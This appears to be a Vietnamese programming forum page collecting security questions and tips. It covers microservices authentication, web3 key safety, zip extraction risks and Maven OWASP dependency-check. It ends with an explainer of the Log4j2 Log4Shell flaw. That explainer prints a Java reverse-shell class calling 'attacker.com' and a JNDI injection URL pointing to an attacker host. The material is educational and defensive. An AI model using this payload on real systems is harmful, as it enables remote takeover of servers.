Kinh nghiệm bảo mật thông tin người dùng: tên hiển thị
Kinh nghiệm bảo mật thông tin người dùng: tên hiển thị
Xác thực trong hệ thống microservices
Hi mọi người,
<p>
</p>
<p>
Sau 1 thời gian ngắn tìm hiểu về Microservices với Spring Boot cũng như Spring Cloud thì em thấy đối với chức năng login xác thực người dùng thì đa số sẽ có 1 <strong>Api Gateway</strong> (Em đang dùng <strong>Spring cloud gateway</strong>) nhận tất cả request và xác thực 1 bên thứ 3 mà em thấy nhiều ví dụ nhất là <strong>KeyCloak.</strong>
</p>
<ol>
<li>Cho em hỏi là ở thực tế thì trong hệ thống <em><strong>microservices</strong></em> thì các cách, giải pháp triển khai <em><strong>authentication</strong></em> và <em><strong>authorization</strong></em> như thế nào ạ ?</li>
<li>Em hiện tại ko muốn xác thực thông qua Keycloak mà em muốn viết logic để xác thực bằng Spring và lưu user của hệ thống ở DB của ta thay vì lưu ở Keycloak thì có ổn ko ạ ? Tại vì theo e nghĩ ở dự án thực tế chả ai lưu user của mình ở Keycloack cả.</li>
<li>Nếu có 1 con Gateway thì các service khi gọi nội bộ với nhau thì có cần xác thực ko ạ ?</li>
<li>Em đang muốn làm chức năng xác thực (login) bằng account của hệ thống và cũng như xác thực bằng account <em><strong>Facebook, Google. </strong></em>Cái này nếu làm dự án Monolithic thì em OK còn khi với hệ thống microservices thì em chưa có solution.Mong anh Dũng và mọi người gợi ý giúp em cách làm về chức năng login kiểu này vừa account hệ thống vừa social account.</li>
</ol>
<p>
Tks mọi người !
</p>
Security trong thế hệ web3
Chào mọi người, theo như em tìm hiểu thì trong thế hệ web3, user sẽ thực sự sở hữu data do mình tạo ra và không ai khác có thể thay đổi nó. Có đúng là để làm được điều này, thì mỗi user sẽ phải tạo 1 account trong blockchain network không ạ? Nếu đúng như vậy thì làm thế nào để ta có để bảo mật được các thông tin nhạy cảm của account ví dụ như private key ạ? Và khi thế hệ web3 phát triển thì sẽ ảnh hưởng thế nào đến các tập đoàn lớn sử dụng nhiều thông tin của user như Google, Facebook,... ?
Sử dụng maven để kiểm tra lỗ hổng bảo mật của các dependencies
Chúng ta có thể sử dụng câu lệnh này:
<p>
</p>
<pre>
mvn org.owasp:dependency-check-maven:check
</pre>
<p>
</p>
<p>
Để kiểm tra liệu các dependencies liệu có dính lỗ hổng bảo mật nào không nhé. Lần đầu tiên chạy có thể mất 20 phút để nó download dữ liệu từ National Vulnerability Database (NVD) cung cấp bởi NIST: <a href="https://nvd.nist.gov" target="_blank" rel="noopener">https://nvd.nist.gov</a>
</p>
<p>
</p>
<p>
Kết quả chúng ta nhận được sẽ kiểu:
</p>
<p>
</p>
<pre>
One or more dependencies were identified with known vulnerabilities in [project name]:
log4j-1.2.17.jar (pkg:maven/log4j/log4j@1.2.17, cpe:2.3:a:apache:log4j:1.2.17:*:*:*:*:*:*:*) : CVE-2019-17571, CVE-2020-9488, CVE-2021-4104
See the dependency-check report for more details.
</pre>
Lỗ hổng bảo mật khi giải nén file zip trên server
Nhờ các anh em chuyên bảo mật giúp mình câu này với ạ. Mình từng nghe nói có 1 lỗ hổng bảo mật liên quan đến quá trình giải nén tập tin trên server, có thể là trong quá trình giải nén tập tin sẽ xảy ra sự kiện gì đó để trigger được file ví dụ sh vừa được giải nén chẳng hạn. Cái này có thể xảy ra không nhỉ? Và nếu nó có thể xảy ra thì liệu giới hạn quyền “run” cho folder chứa file zip đó liệu có giải quyết được triệt để vấn đề không nhỉ?
Hiểu rõ về lỗ hổng của Apache Log4j2 (CVE-2021-44228)
Hiểu rõ về lỗ hổng của Apache Log4j2 (CVE-2021-44228)
<p>
</p>
<p>
Để hiểu rõ hơn chúng ta phải hiểu về log4j một chút. Log4j sử dụng <a href="https://tvd12.com/chain-of-responsibility-design-pattern/" target="_blank">chain of responsibility design pattern</a>, thế nên ở bên trong nó sẽ có các <code>Appender</code>. Khi một dòng log kiểu <code>logger.info("Hello: {}", param)</code> thì đoạn log này sẽ chạy qua tất cả các appender thể thực hiện các công việc tương ứng, ví dụ in ra màn hình, ghi vào file, và trong đó có 1 lớp tên là: RoutingAppender. Lớp này sẽ gọi đến hàm <code>StrSubstitutor.resolveVariable</code>. Hàm này sẽ đi lấy giá trị của biến, và đau lòng thay, nó gọi lại đến lớp <a href="https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea" target="_blank">Interpolator</a>.
</p>
<p>
</p>
<p>
Lớp Interpolator sẽ tìm kiếm qua nhiều giao thức, trong đó có giao thức JNDI để lấy ra giá trị của biến, và thế là bùm. Kẻ tấn công sẽ tạo ra 1 lớp thế này:
</p>
<p>
</p>
<pre>
public class Log4jShell {
static {
try {
Socket socket = new Socket("attacker.com", 1234);
Scanner scanner = new Scanner(socket.getInputStream());
while(true) {
String command = scanner.nextLine();
ProcessBuilder pb = new ProcessBuilder(command);
pb.start();
}
} catch (Exception e) {}
}
}
</pre>
<p>
</p>
<p>
Và hắn thông quan tham số name truyền lên server kiểu: <code><a href="https://web_site_cua_chung_ta/hello?name=${jndi://web_site_cua_ke_tan_cong.com/Log4jShell.class}" target="_blank">https://web_site_cua_chung_ta/hello?name=${jndi://web_site_cua_ke_tan_cong.com/Log4jShell.class}</a></code>, và cùng với câu lệnh logger ở trên. Lớp Interpolator sẽ lấy giá trị của biến bằng cách lấy lớp Log4jShell.class về, và thế là toang, kẻ tấn công sẽ có hẳn 1 cái terminal xịn sò trên server của chúng ta và muốn làm gì thì làm.
</p>
<p>
</p>
<p>
Nhược điểm của lỗ hổng lần này là nó làm cho cả thế giới tán loạn. Phải đi release lại toàn bộ các sản phẩm đang dùng <code>2.0 <= log4j-core <= 2.14.1</code>.
</p>
<p>
</p>
<p>
Còn ưu điểm là nó cũng cho thấy được Java nó phổ biến và được sử dụng rộng rãi đến mức nào. Thế nên anh em cứ tự tin khi lựa chọn Java để làm ngôn ngữ lập trình backend cho mình và cho tổ chức của mình nhé.
</p>
<p>
</p>
<p>
Tham khảo thêm nếu anh em cần nhé: <a href="https://www.lunasec.io/docs/blog/log4j-zero-day/#how-you-can-prevent-future-attacks" target="_blank">https://www.lunasec.io/docs/blog/log4j-zero-day/#how-you-can-prevent-future-attacks</a>
</p>